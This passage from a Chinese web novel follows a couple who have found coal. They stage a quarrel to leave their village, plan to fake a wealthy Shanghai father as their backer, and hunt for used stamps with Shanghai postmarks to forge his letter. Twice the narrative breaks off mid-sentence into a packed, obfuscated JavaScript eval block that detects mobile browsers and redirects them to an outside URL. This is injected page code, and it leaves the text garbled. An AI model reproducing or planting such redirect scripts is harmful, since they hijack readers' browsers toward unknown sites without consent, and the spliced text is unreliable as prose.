《九十年代迁居沪上》 7. 吵一架吧 想见曲松岩两人并不难。 怎么说邢立骁都给两人的工厂送了几年煤,虽然期间主要是和下面干事打交道,但两家厂子规模没那么大,相应的规矩也没那么多,他可以通过经常来往的干事联系上两人。 夫妻俩商量好,邢立骁就用家里座机,分别给两家单位的干事打了电话。 电话接通后,邢立骁没有上来就说自己挖到矿了,想把股份卖给他们厂长,先寒暄,然后旁敲侧击打听他们厂长最近在不在厂里。 得到肯定答案后,邢立骁便说自己手上有个项目想拉投资,请他们帮忙引荐厂长。 接到电话的人都很纳闷,合作好几年,邢立骁的情况他们都是清楚的。 这人呢,能力是有一些,但无亲无故没有背景,自己做点小生意还行,大到需要拉投资的项目,他们真想不出来。 要不是他没有把项目夸得天花乱坠,他们说不定还会怀疑他进传销了。 但也正因为没有,他又透露这项目跟煤炭有关,两人考虑过后,都答应帮他问一问。 两人都算尽心,半小时左右就回了电话,说他们厂长愿意见邢立骁,让他这两天抽空过去一趟。 得到面谈的机会,怎么去跟人面谈也是问题。 虽然截止到今天,交钱上山的人陆续放弃,仍坚持挖矿的一个巴掌都数得过来。为此村里唱衰这件事,觉得仍在坚持的他们脑壳有包的人也越来越多。 但因为村里人既希望邢立骁等人挖到什么,又怕他们真挖到什么,所以村里盯着他们的人依然不少。 过去一个多月,邢立骁基本没停过,连早退都不多。 今天邢立骁回来得就早,这两天要再休息,村里那些盯着他们的难保不会在心里嘀咕。 单纯嘀咕还好说,就怕他们起了疑心,上山去偷看。 东平村范围内有好几座山,这些山还都不是小土包,所以交钱上山的人虽然不少,但分散后各自圈的地挨得并不近。 又因为协议约定一定范围内只能有一户圈地,所以村里人盯他们虽然紧,但没人上山偷看进展。 可一旦他们露出马脚,惹人怀疑,那些人想上山去查看也很容易,毕竟他们挖的洞都是敞开的,没有门和锁。 虽然协议还规定只有第一个挖到矿的人,才能得到煤矿股份,但在找到买家并跟人谈妥交易前,余兰英并不希望他们挖到矿的消息泄露出去。 余兰英思量片刻,问道:“你照常上山,从另一边坐车去山里行不行?” 山那边是其他村子,因为隔着座山,两边来往不多。问题在于翻过山想去市里,还是要先坐车去镇上转,可能会遇到村里的人。 所以不等邢立骁回答,余兰英便摇了摇头说:“算了,要是运气不好碰到村里人,估计会说不清。” 邢立骁说道:“或者跟人说去走亲戚,你大妹不是在市里吗?” 听到这话,余兰英眉毛微皱。 余兰燕确实都在市里安了家,但前世李平坤步步紧逼时,余兰英和余兰梅都跟她爸妈站在了一边,轮番劝余兰英跟了李平坤。 打那以后,余兰英就跟她们决裂了。 重生前余兰英回到石城,两人找上门,她都没松口见她们一面。 对这两个妹妹,余兰英心里自然是怨的,但她不是那种死脑筋的人,如果借余兰燕的名义可以顺理成章地出门去市里,她不会不乐意。 但余家嘴离东平村不远,余家又在路边开着早点铺,余家有没有人,经过的司机一眼能看到。 借口余兰燕请客,但她爸妈都在家,明眼人都能想到有问题。 不过…… 也不是完全不能利用。 余兰英抬起头说:“我们吵一架吧?” …… 周红霞淘好米刚煮上饭,就听到外面传来噼里啪啦的声音,其中还夹杂着隐隐约约的争吵声,像是谁家吵架了,连忙放下手里的活出去看热闹。 走出厨房,循着声音走到紧挨着邢家的院墙边,争吵声音更加清晰:“挖挖挖!你就知道上山挖矿!你要能挖出煤来就算了,可挖了快两个月,出煤了吗?” 听着这满是怨气的话,不用多琢磨,周红霞就知道隔壁为什么吵架了。 不止她,住在邢家前面的李卫国夫妻也知道了。 夫妻俩听到动静就从后门出来了,原本站在邢家院墙外面,周红霞出来后见她站的地方更近,都进了她家院子。 站定后,李卫国媳妇张小芳便明知故问:“邢家这是怎么了?余兰英平时不是很支持邢立骁吗?怎么今天跟他吵起来了?” 李卫国说:“支持也要分情况,这两个月邢立骁啥都不干,每天就知道上山挖矿,一分钱没赚到不说,还亏了一千,余兰英心里没意见才怪。” “哟,你现在知道上山挖矿是把钱扔水里了?通知下来那会你怎么说的?”张小芳斜一眼李卫国,掐着嗓子说,“人邢立骁想干什么余兰英都能支持,说交钱就交钱,说上山就上山,跟他一比,你这日子毫无过头,现在你怎么不说要上山了?” 村里这些交了钱的毛都没挖到,他还上什么山啊! 李卫国赔笑说:“我那会不是犯糊涂吗?多亏媳妇你聪明,压着我没让上山,不然现在一亏上千的就是咱们家了。” 张小芳哼哼:“你也知道!” 李卫国搓搓手,又忍不住说:“不过除了今天,其他时候余兰英还是挺支持邢立骁的。媳妇你应该跟她学一学。” 张小芳一听,心里的火蹭地蹿了起来:“她平时支持邢立骁,是因为他有本事能挣钱,你每月挣的那点钱够干啥?有人邢立骁的零头吗?你让我跟余兰英学,你怎么不跟他学一学?” 李卫国登时也火了:“是,我挣的没有邢立骁多,但这家不还是我在养?再说了,我倒是想多挣钱,可你同……” 听着两人声音越来越大,周红霞忍不住道:“行了,你们结婚都多少年了,至于为这点小事吵架吗?要吵你们回家去吵,别在我家闹!” 周红霞这话让李卫国夫妻想起这是在外面,顾忌着家丑外扬,两人都止住了声音,继续竖起耳朵听邢家的热闹。 但听了好一会,两人也没听到什么动静,张小芳问:“他们这是吵完了?” 周红霞说:“估计是。” 李卫国忍不住感慨:“余兰英的脾气是真好,要是换其他女的,男人一个多月不挣钱,不闹个几天几夜才怪。” 张小芳觉得李卫国是在影射自己,冷笑一声说:“我还说邢立骁人不错呢,村里像他这么能挣钱的,哪个不是人五人六?别说一个月上千,就算是某些只能挣百来块的,在家也跟个大爷一样,油瓶倒了也不扶一下。” 听出张小芳在阴阳怪气自己,李卫国脸色一变:“你什么意思?你说谁人五人六?” 张小芳却没有搭理他,转身直接回家了。 李卫国见了连忙追上去,问她什么意思,两人吵吵嚷嚷,一直到进了自家后门,声音才低下去。 李家夫妻走后,周红霞又扒在墙根听了会,确定隔壁没动静了,才遗憾地进厨房做饭。 虽然这热闹没头没尾,但晚上丈夫回来,还是跟他说了隔壁吵架的事,“也不知道吵了这一架后,邢立骁会不会放弃上山挖矿。” 周红霞丈夫黄勇说道:“我看悬。” “怎么?”周红霞眉毛微动,“难道山上真有煤矿?” “你想哪去了?”黄勇觉得周红霞异想天开,“山上真有煤矿,村里那些人能发通知说交钱上山挖矿,挖到就给一半股份?” 想到村里干部们的德性,周红霞火热的心凉了下来,撇嘴说:“也是。”应声后又有些纳闷,“你怎么说邢立骁不会轻易放弃?” “他这人性格一直这样,犟。” 黄勇是家里老大,继承了父母的宅基地,而黄家和邢家一直是邻居,所以他也算是看着邢立骁长大的。 评价完邢立骁的性格,黄勇又说:“而且你没发现,邢立骁现在有点疯魔了,村里其他人就算交了钱,上山也会尽量选在空闲的时候,只有他,这一个多月什么都不干,只挖 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余兰英冲周红霞勉强扯出笑容,说道:“我带希希去她二姨家里住几天。” 周红霞心思一动,问道:“你二妹在市里吧?怎么突然跑这么远?这事立骁知道吗?” “他心里只有挖矿,知道又能怎么样?” 赌气的话说完,余兰英锁上门,又将钥匙递给周红霞,说道:“等他回来,麻烦霞姐你把钥匙交给他。” “唉,你们这……”周红霞拿着钥匙,叹了口气说,“何必呢。” 余兰英只是苦笑,又说了句“麻烦了”,便带着女儿离开。 出村这一路,余兰英遇到了不少人,看到她提着行李,便旁敲侧击问她去哪。她一律沉默,牵着女儿一直走到村口大路等车。 虽然余兰英什么都没说,但村里消息传得飞快。 不到中午,她和邢立骁因为没有挖到矿而发生争吵,一气之下带着女儿去市里妹妹家的消息就就传开了。 村里消息传得沸沸扬扬时,邢立骁正在山上挖土。 也不是单纯挖土,上山后,他先装了两筐土搬进坑洞,把昨天出的煤都埋了起来。 然后他偏移方向,往左边又挖了小半米,并将挖出来的土都堆到之前坑洞上,制造这里已经被放弃,用来堆土的假象。 忙活完这些,太阳也已经爬到头顶,邢立骁看看手表,见差不多了,便扛着锄头下山。 刚进村,他就从看热闹不嫌事大的村民口中,知道了余兰英带着女儿去市里的事,于是匆匆忙忙赶回家。 隔壁黄家刚吃完中饭,周红霞听到动静出来,看到他便从口袋里拿出钥匙说:“你可算是回来了,喏,你家钥匙。” “霞姐,兰英真去市里了?” 周红霞闻言有些心虚,这一上午,她没少到处说邢家的热闹。说的时候不觉得,这会听到邢立骁这么问便有些心虚。 但见他没在意自己大嘴巴,便松了口气说:“对,说是去她二妹家里住几天。” 说完,又有些不忍心地去劝道,“小邢不是我说你,那山上要是真有煤矿,村里能这么大方让我们去挖?你收收心别再上山,早点去市里把兰英母女接回来吧。” 邢立骁没跟周红霞争辩山上到底有没有矿脉,接过钥匙后只重重点了点头:“诶,我下午就去市里。” 话落拿着钥匙开了门,再打水匆匆洗个澡,便带着行李开着卡车走了。 周红霞站在后院看着他上车,便去了邻居家里,跟人说起后续,完了又摇着头说:“这个邢立骁也是,昨晚上刚吵架,今天早上就扛着锄头上了山,现在兰英气得离家出走,终于知道着急了吧?” 邻居好奇问:“他急了然后呢?” “然后他着急忙慌地也跟着去市里了呗。”周红霞笑道,“走得可匆忙了,都没等班车,开着卡车就跑了。” 邻居闻言,纷纷抿唇笑。 然后一传十十传百,不到半个下午,邢立骁追去市里消息便再次传开。 8. 更多筹码 虽然拿了余兰燕当借口,但余兰英并不想见她,所以坐车到市里后直奔酒店。 进了九十年代,各方面政策越来越宽松,住酒店旅馆也是如此。 早些年住招待所不仅要户口本,还需要带介绍信,而现在住招待所或者酒店还好说,但很多小旅馆,只要有钱,身份证都不需要看。 也因为这样,很多小旅馆的住客鱼龙混杂。 自己一个人就算了,带着女儿,余兰英不想考虑那些小旅馆。 又想到如果能一切顺利,他们的账户里马上能多出一两百万,余兰英就没抠唆,下车后直接带着女儿去了石城最好的酒店。 酒店开在江边,是一栋有点偏欧式的建筑。 说是欧式,其实也不那么准确,这建筑盖起来没几年,找的设计师不知道是水平不够还是怎么回事,设计出来的建筑虽然偏欧式,但又夹杂了不少其他元素,还没融合好,导致建筑整体有点不中不洋。 但这不影响酒店生意好,一来这酒店确实是市里规模最大的,二酒店临江,风景很不错,所以哪怕费用高一些,酒店开业后依然宾客盈门。 像最近,明明没什么盛事,石城也不是旅游城市,但酒店依然满员。 今天倒是有退房的,但空出的房间下午两点以后才能入住,她们来太早,暂时进不去。不过工作人员态度不错,说如果她们没有其他计划,可以去酒店图书角消磨时间。 余兰英确实没有其他计划,也担心邢立骁来了找不到人,便在对方的指引下去了图书角。 图书角并不大,只摆了两张书架,上面摆的读物倒是很杂,有报纸杂志,也有童话寓言等。余兰英拿了本带拼音插图的绘本给女儿,让她自己看。 农村教育落后,村里没有公里幼儿园,私人的规模也不大,只有两个班,而老师只有一个。 因为老师少,幼儿园基本不收五岁以下的孩子,希希刚满四岁,要到明年下半年才能入学。 村里很多家长对孩子教育不怎么上心,但余兰英不是这样的人,很早就开始教希希认字。到现在,希希已经能对着拼音和拼图,独立看完篇幅不长的绘本。 希希看绘本的时候,余兰英走到书架旁,随意翻看着那些报纸杂志。 余兰英学历不高,初中都没上过,但她一直都很爱看书。 事实上,她会跟邢立骁走到一起,很大程度上是因为他懂得投其所好。 发现她的喜好后,他再来她家买早餐,都会顺便带一份最新的报纸,然后以各种名义落下。 在农村,报纸是稀罕东西。 他们没办法和城里人一样,找相关部门长期订阅,小卖部也很少会进不挣钱的报纸,所以基本只有村委办公室才能看到报纸。 普通人想看报纸,只能去镇上买。 但想去镇上不容易,距离太远了,走路来回至少要三个小时。如果坐车,来回车费要一块多。 而这个年代,农村普通人一个月也就能挣百来块。 邢立骁用报纸来吸引她的注意力,很难不成功,何况他长得还很不错。 后来他们结婚,邢立骁每天出门,回来都会特意绕去书报刊或者镇上,买几份当天的报纸。 而这个习惯,一直延续到了前世他出事当天。 图书角里的日期并不新鲜,最近都是前天的,余兰英觉得她应该看过。但那已经是前世的事,隔了几十年,她已经不太记得报纸都刊登了什么新闻,于是拿上几份报纸,坐到女儿身边翻阅起来。 她拿起的这份报纸,头版头条是国家机关首次面向社会公开招考公务员的新闻。报纸上说这次招考只有四千多人报名,最后录用了四百九十人。 看到这新闻,余兰英不由想到一个词——时代红利。 在她重生以前,每年报名公务员考试的人已经超过百万,但录取比例却越来越低,想要成功上岸,必须过五关斩六将。 和那一代人比起来,他们这一代似乎吃尽了红利。 但这种红利和她没有关系,这时候公考要求再低,也需要高中学历。但她这一辈的女孩,尤其是农村女孩,能上高中的并不多。 她的两个妹妹能一个中专,一个大专毕业,是她供的。 因为自己遭受了不公,所以她总希望跟她同性别的妹妹们,不要步上她的后尘。为此她努力赚钱,和父母吵架,顶着压力送她们上了初中。 那时候她没想过要回报,但因为发生变故前,她们跟她联系更紧密,每次逢年过节回老家,也都会特意来探望她。 所以她总觉得她们是感恩的,她的付出也是值得的。 谁想变故发生后,她上门借钱,她们避之不及。她被人骚扰,她们也都站在父母一边,劝她跟了李平坤。 不,她们不是站在父母那边。 他们只是统一了阵线,想从她身上继续吸血。 往事已经不可追,如今她再后悔也没有用,能做的就是想办法度过眼前的难关,抛却这里的人和事,去过自己的日子。 话说回来,虽然她吃不到考公红利,想吃其他红利不难。 如果能带着上百万到沪市后,她完全可以多买几套房。 而且前世她都能靠摆摊卖早餐,在沪市买下一套房,并开出好几家早餐店。这辈子有钱有先知,不把生意规模翻一倍,实在说不过去。 当然,这一切的前提,是顺利卖掉股份。 而这,恰恰是他们当前面临的最大难题。 余兰英边在心里捋着他们制定好的计划,边翻动着报纸,直到一则传销有关的新闻进入眼帘,她才停下手里的动作。 随着改革开放,一系列的不法敛财手段也跟着出现,其中名气最大,变种也最多的无疑是传销。 而截止到今年,最大的传销案例,要数八十年代末,日本某公司偷渡到深市,以传销方式销售磁疗保健床垫。[1] 不过这家公司虽然是八十年代末潜入国内的,但他们进一步扩大传销规模是在去年。 也因为规模扩大,让更多媒体关注到了这场骗局,所以这一年里,时不时有相关曝光见报,到这个月,国家更是发布了《关于制止多层传销活动中违法行为的通知》。[2] 余兰英手里这份报纸,正好刊登了这则通知。 除了这则通知,还有报道详细分析了传销的根本原理,即传销并非依靠产品或服务的真实价值来交换,而通常是利用拉人头发展下线的方式获取收益。[3] 因此,传销本质上其实是“庞氏骗局”的变种。 提到庞氏骗局,余兰英不免想到前世看过的一部电影《金手指》,这部电影以港城一桩奇案为原型改编拍摄。 而电影讲述的,是一个一文不名的人,通过虚构巨额财产结识名流,并成立公司,买下一栋大厦。之后他借着名流担保,大肆炒作这栋大厦,借此抬高公司股票价格,攥取了大量资金。 回忆起这部电影的剧情,余兰英有点打开思路。 这不是说她起了歪心思,也想走上不归路,而是她想到,也许她和邢立骁,也可以通过虚构出一个靠山,顺利卖掉股份。 在卖股份这件事上,余兰英其实并不担心没有买家。 不管在什么年代,煤炭都是重要资源,而买下一座煤矿的股份,等于买下一个聚宝盆,以后不说能躺着收钱,但赚的肯定不少。 要不是他们担心惹出祸端,都不用特意来城里找买家,在家放出口风,就会有人排着队上门谈判。 但手里拿着这么个聚宝盆,不惹出祸端是不可能的。 他们不但进了城,还要精心挑选买家,以期能挑中一个有良心,不会中途过河拆桥的人。 可指望别人有良心,终究不如自己手握主动权。 而且买家有良心,村里那些干部却不一定会有良心。 虽然协议规定了,第一个发现煤矿的人可以得到一半股份,但真到那一刻,村里干部要翻脸,棘手的事也不会少。 别的不说,他们和买家商量好卖股份,村里干部伸手卡一道,就够他们喝一壶的。 所以余兰英觉得,在这场和股份交易有关的谈判中,他们除了要在买家面前扯东平村人这面大旗,在村干部面前表现得和买家特别铁外,还需要再引入一个靠山。 而且这个靠山,必须要让村里干部们有所顾忌。 可问题又来了,她和邢立骁都是土生土长的新平人,村里人对他们各自的家庭情况可以说如数家珍。 她不用说,祖上三代贫农,五服之内都找不出有权有势的人。邢立骁祖上倒是有钱,但邢家早败落了,且从他外公这一代起,三代都是独生。 他们亲戚中别说靠山,就算想扒拉出一个能虚构呈靠山的人都不容易。 唔……也不对。 邢立骁母亲这边虽然没有虚构的余地,但他父亲那边发挥空间不小,别的不说,他那个渣爹就不错。 首先,渣爹是沪市来的下乡知青,而沪市,是改开后发展最快,有钱人也最多的几个城市之一。 其次,渣爹非常渣,回城以后就断了和邢立骁母子的联系,所以他回沪市后过得好不好,没有人知道。 最后,半真半假的谎言最能骗人,她虚构出一个大家都不知道的亲戚,村里那些精明的干部肯定不会相信。 但如果说这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463997|185432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是渣爹,可信度就高了。 反正上海那么远,村里绝大多数人连市都没出过,就算有人不信渣爹发达了,也很难不远千里去沪市求证。 不过想虚构渣爹当靠山问题也不少,第一是渣爹要怎么联系他们。 真人出现肯定不可能,以打电话的方式也不行,虽然村委里的那台电话不显示号码,但这时候很多地方打长途电话仍需要人工转接。 她想伪装成沪市来电,得去外省打这通电话,可去外省,一来一回需要不少时间。 而且理论上,渣爹应该是不知道村委电话号码的。 再就是这年代最寻常的方式,寄信,不过邮戳上也会显示寄信地址,而东平村的信件,会由邮递员统一送到村委,想伪造沪市来信也不容易。 但不容易就意味着有可能,所以余兰英个人倾向于伪造信件。 再一个问题是怎么说服邢立骁。 在她最困难的时候,父母弟妹不肯伸出援手,她都会因为怨恨他们,而不想和他们来往,邢立骁心里只会更恨回城后抛弃他们母子的男人。 他会愿意为了顺利卖掉股份并脱身,沾对方的光吗? 但余兰英转念一想,又觉得知道对方发达了,并实实在在接受对方帮助叫沾光。 他们现在根本不知道渣爹过得如何,也没有真的得到帮助,非要说的话,把对方虚构成靠山应该叫废物利用。 就像她不认为自己借着余兰燕的名义,顺理成章地来到市里,是在沾对方的光。 而为了赚大钱,为了活下去,利用一些不那么好的人,在余兰英看来并不寒碜。 余兰英心里这么想,等邢立骁来到市里跟她们母女汇合,提出这个建议时,她也是这么对他说的。 邢立骁听完后眉毛皱得很紧,但他没有一口拒绝余兰英的提议,只是沉默良久后问:“你觉得村里干部会故意针对我们?” “他们针对的不一定是我们,但他们一定想要钱。” 其实前世,村里那些干部没有刻意针对过他们,动手害死邢立骁,并伪造借条,想要侵吞他们手里股份的一直都是李平坤。 他们会在余兰英想要争抢股份时偏向李平坤,一是因为他愿意让渡利益,二是因为李平坤姓李。 而李,是东平村最大的姓,村委里至少有一半干部姓李。 虽然他们和李平坤的关系早出了五服,但论起字辈,都沾亲带故,所以在很多时候,他们更愿意帮他。 当然,前提是有足够的利益。 邢立骁没有前世的记忆,所以他虽然觉得村委那些人靠不住,但同时又觉得那些不至于故意针对他们。 但在余兰英看来,前世他们能为了利益,和李平坤狼狈为奸,这辈子就可能为了利益,给他们使绊子。 此外,前世李平坤为什么敢对邢立骁动手? 不就是觉得他无父无母,余家也只是普通人家吗? 如果她的计划能成功,邢立骁多了个在沪市当大老板,甚至是当大干部的亲爹,李平坤再觊觎煤矿的股份和钱,恐怕也会犹豫再三。 余兰英不好直接说李平坤心黑手狠,但她可以提醒邢立骁,他们为什么决定卖股份,又为什么要背井离乡去沪市。 邢立骁确实不想和蒋学兵再有牵连,蒋学兵刚回城那会,他心里还存着些念想,但随着时间推移,他妈也郁郁寡欢去世,他就当没这个爹了。 何况按照余兰英说的办,虽然不算沾蒋学兵的光,也是给人做脸。 这些年,村里人提起蒋学兵总没几句好话,甚至没少嘀咕他回城也过不好日子,虽然沪市是大城市,但再大的城市也有穷人,大家觉得他回城了兴许也是穷光蛋。 虽然这种说法里藏着嫉妒,但他听着高兴,他是不希望蒋学兵过好日子的。 可要拿蒋学兵当靠山,必然要帮他吹牛,到时候村里口风兴许就变了,没准大家还会觉得蒋学兵抛妻弃子回城是好事。 一想到那种可能,邢立骁就很不甘心。 但听到余兰英的提醒,他冷静了下来。 人活着,才能不甘心,才能去怨恨。 为了逞一时之气,放弃为活下去增加筹码的机会,才是真的傻。 而且村里人骂几句有什么用,他们口风本就多变,以前他穷的时候,村里人说起他也没几句好话。 他们骂得再难听,也伤不到远在沪市的蒋学兵一根毫毛。 何况,他已经不是一个人,他有妻子,有孩子,他也该为了她们,放下心里那些不甘。 他的母亲、外公,肯定也会希望他能平安活下去。 毕竟,只有活下去,才会有希望。 9. 伪造信件 想要伪造蒋学兵来信,有三个难点。 首先是字迹。 邢立骁母亲去世后,他外公就把蒋学兵留下的所有东西都烧了,其中包括有他笔记的本子或者信件。 不过蒋学兵下乡时没有在村委担任职务,而那个年代,普通村民一年到头也没有多少动笔的机会,所以村里认识他笔迹的人可能不多。 村委倒是可能保留了蒋学兵下乡和回城时填写的资料,但那些资料长年累月被堆积在一起,那些干部不一定有耐心去翻。 而且,虽然邢立骁不怎么愿意承认,但他的字确实是蒋学兵一笔一划教出来的。 当然,这么多年过去,邢立骁的字已经有很大变化,和蒋学兵的字更是不怎么像了,但有小时候的记忆在,模仿个七八分像不成问题。 能有七八分像,余兰英觉得够了。 这么多年过去,村里能一眼认出蒋学兵字迹的本来就不多,何况信是写给邢立骁的,给谁看不给谁看,他们可以自己决定。 这一环应该不会露馅。 其次是村里的信,都是由镇上邮局分派给下面邮递员,再统一派送的,所以她突然拿出一封信,说是蒋学兵寄来的肯定不行。 想要不惹人怀疑,这封信最好是走正常流程派送。 可信件寄出时,当地邮局会在邮票上盖邮戳,而邮戳上又会有始发地邮局的信息。所以这封信,注定无法走正常流程邮寄。 但商量过后,两人都觉得这不是问题。 俗话说得好,有钱能使鬼推磨,他们收买不了上游邮局的工作人员,但想收买负责派送东平村信件的邮递员,将信件混进去并不难。 最后,则是邮戳。 这也是想伪造蒋学兵来信过程中,最麻烦的环节。 虽然这封信不需要像正常信件一样寄出,但邮戳不能少,在这个电话还没普及的年代,邮戳会显示哪些信息可以说是常识。 如果不对,村里普通人可能还好说,但干部那里肯定糊弄不过去。 而邮戳,中转接受地邮局不一定会盖,可寄出地邮局的那一个戳肯定少不了。 在他们的计划里,蒋学兵的这封来信是从沪市寄出,那就需要沪市本地邮局加盖邮戳。所以这封信,他们拿到本地邮局盖再多戳也没用。 可受时间限制,他们不可能现在跑到沪市,并在那里寄出这封信,所以只能想其他办法。 至于什么办法,余兰英思索着问:“市里有卖二手邮票的地方吗?” 自从八四年到八六年前后,发行于八零年的庚申猴票,价格从三块左右飙升至三十多,邮票市场就繁荣了起来。 等进了九十年代,庚申猴票价格一路猛涨到两百多一张,大家的集邮热情便再次高涨,国内各大城市都陆续出现了集邮市场。 不过这些事,余兰英也是后来去大城市才知道的,在老家时她虽然偶尔从报纸上看到过相关报道,但关注并不多。 再加上这时候交通不便,她很少来市里,所以并不清楚这个时期的石城有没有邮市。 邢立骁则因为客户主要集中在石城,过去几年里,他几乎每天都要跑一趟市里。虽然他一心赚钱,没怎么在石城逛过,但跑多了大街小巷就都熟了。 而他那些客户中,也有集邮爱好者,所以他还真知道二手邮市在哪。 余兰英记下地址,便说:“明天我带希希去二手邮市逛一逛,看能不能买到有沪市邮戳的邮票。” “行,我明天去省城,办完事后也找人问问有没有邮市。” 虽然瞄准的两个目标中,曲松岩离得更近,但夫妻俩聊过后,都觉得先去找在省城开厂的那位比较好。 这不是说两人觉得更有可能合作,恰恰相反,两人更倾向于跟曲松岩合作。 余兰英想的是前世曲松岩口碑不错,相对来说人品更有保证,而且他胆子大,又身家丰厚,跟他更容易谈合作。 邢立骁则考虑的是他和曲松岩见得多些,相对来说更熟悉。 但也正因为倾向曲松岩,他才更要先去省城,如果和省城那位谈得顺利,曲松岩也有购买意向,他们会更好开价。 要是曲松岩手头现金没有那么多,他们还可以拆分股份,买家多了,他们想从中得到自己想要的也更容易。 原本夫妻俩打算一起带着孩子去省城,但考虑到去了省城,他们也不好拖家带口地去见目标买家,如今又多了其他计划,便干脆分头行动。 确定明天的安排,两人便带着希希下楼去吃饭。 酒店一楼有餐厅,做的是本地菜,味道还不错,就是价格有点贵。他们三个人,点了四个菜,竟然花了五十多。 不过邢立骁收入高,何况要是能顺利卖掉股份,他们就能有百万收入,所以两人都没怎么心疼。 吃过饭,去江边走一圈,等天色黑下来,他们就带着女儿回酒店睡觉了。 石城离省城不算远,走高速不到一百公里,但省城很大,下高速后去目标买家的工厂也要时间,所以隔天邢立骁起得很早。 他起来后余兰英醒过一次,但因为太早,等他一走,余兰英就又睡着了。 再醒来时已经天光大亮,余兰英自己洗漱好,再把女儿弄起来让她刷牙,再给她扎上小辫,母女俩就收拾好了。 下楼吃过早饭,她们直接出酒店,站在路边等车。 在余兰英的印象中,很多邮市都在公园里,其中最出名的要数首都的月坛公园。 但石城的邮市不太一样,它藏在花鸟市场里。 花鸟市场不难找,就在石城商业街旁边的巷子里。 巷子并不长,一眼能望到头,但里面很热闹,除了花鸟还有卖猫狗兔子小金鱼等宠物的。另外还开了几家影碟书店。 这些影碟书店,会捎带着卖邮票。 除了这些门面,巷子里还有集邮爱好者在这里摆摊。 粗略数下来,这条巷子里卖邮票的店铺摊贩能有十来个,但他们卖的基本都是有些年头的老邮票,其中有邮戳和没邮戳的基本对半开。 但没有她想要的,盖了沪市邮戳的近期邮票。 也正常,邮票虽然不是越老越值钱,像六八年发行的“全国山河一片红”邮票,价格就比五六年发行的特15“放光芒”邮票价格更高。 但这两种邮票都是因为印刷失误而存在的珍稀邮票,情况特殊。 普通邮票中,确实存在发行时间越早,价格越高的规律。 因此,就算集邮爱好者中有人在沪市有亲戚,并收到了对方寄来的信件,且想把邮票卖出去,邮市里的这些老板也不一定愿意收。 这东西卖不上价嘛。 虽然一圈逛下来毫无收获,但余兰英没有气馁,从最后一家店出来,站在路中间思考片刻,她又进了位于中间的一家书店。 书店里守着的是老板娘,人挺热情,见余兰英又带着孩子进来,笑着问:“妹子,你买到想要的邮票了吗?” 余兰英苦笑:“还没有。” 老板娘闻言纳闷问:“你想要的到底是啥邮票,这么难找?”嘴上这么问,其实她心里有了些猜测。 在集邮爱好者中,最受欢迎的肯定是“全国山河一片红”这种珍稀邮票,但这类邮票数量少,基本都进了藏家手里,这个小邮市中肯定是没有的。 这里能找到的,甭管老板吹得多天花乱坠,实际上都是一些普通邮票。真有稀罕的,那就得考虑是真是假了。 老板娘开着书店,卖邮票是顺带的,不稀罕骗人。 所以特意问这一句,是想劝余兰英一句,真想买珍稀邮票去省城,不要来他们这小邮市,容易被骗。 却听余兰英说:“其实我想买的,是带有沪市近期邮戳的邮票。” 老板娘一愣:“你买这种邮票干什么?” 老板娘不算集邮爱好者,但顺带着卖了几年邮票,很清楚那些爱好者的喜好。他们最想要的肯定是珍稀邮票,普通邮票中,肯定是发行时间越久,票面越干净越好。 余兰英这要求,也太外行了。 余兰英这一圈不是白逛的,通过闲聊,她对邮市里这些老板的性格都有了一定了解。 眼前的老板娘热情性格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463998|185432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,在这市场里口碑不错。 而更重要的是,这书店不止捎带着卖邮票,也会收邮票,所以老板娘人脉很广,余兰英想没准能通过对方收到她想要的邮票。 余兰英想着,便叹了口气道:“是这样的,我公公是下乡知青,十多年前知青回城,他就抛下我婆婆和丈夫回城了。自他回城,我婆婆就一直郁郁寡欢,这两年更是缠绵病榻,医生说她时日无多,让我们多顺着她,满足她的愿望,让她不要带着遗憾去世。” 知青为了回城抛妻弃子的案例,在这年代只多不少,老板娘开店做生意听得就多,何况余兰英这话半真半假,她自然没有怀疑。 她先是义愤填膺,等听余兰英说婆婆时日无多,又一脸同情,问道:“你婆婆有什么愿望吗?” “我婆婆的心愿,和我公公有关。” 老板娘脸上毫无意外,问道:“她还惦记着你公公?” “倒也不是惦记着他,”余兰英说,“她就是想知道,他为什么不遵守诺言,回城就没了消息。” 老板娘想这不还是惦记着吗?可老人家离世前只有这一个心愿,她一个陌生人不好说什么,便问:“你们打算怎么办?” 余兰英说:“我和丈夫商量过,打算伪造一封他家人写的信,就说他回城没多久就得了绝症,不想拖累他们母子,才跟他们断了联系。这些年,他一直在治病,但没治好,还是去世了。” “这……”老板娘迟疑问,“不是骗人吗?” “我们也知道这是欺骗,可我婆婆只剩下这一个心愿,不管怎么样,我们都希望她能不带遗憾地离开人世。” 老板娘想想觉得她的话有道理,便叹了口气说:“你们也不容易。”话落又想起来,“这跟你买邮票有什么关系?” “我婆婆是个聪明人,想让她相信这信是真的不容易,别的不说,贴的邮票,盖的邮戳肯定不能瞎糊弄。”余兰英解释说,“我那公公是沪市知青,所以我们才想收一张近期的,盖了沪市邮局邮戳的邮票。” 老板娘明白了余兰英的计划,说道:“想收这样的邮票可不容易。” “我们也知道不容易,可为了老人,再不容易我们也想试试。”余兰英笑着说,“大姐您是开店当老板的,人脉广,您认不认识有沪市亲戚,他们最近还通了信的?要是有,我们出五十收邮票。” “五十?!” 老板娘瞪大眼,买一张普通邮票才几毛钱,余兰英竟然打算花五十收! 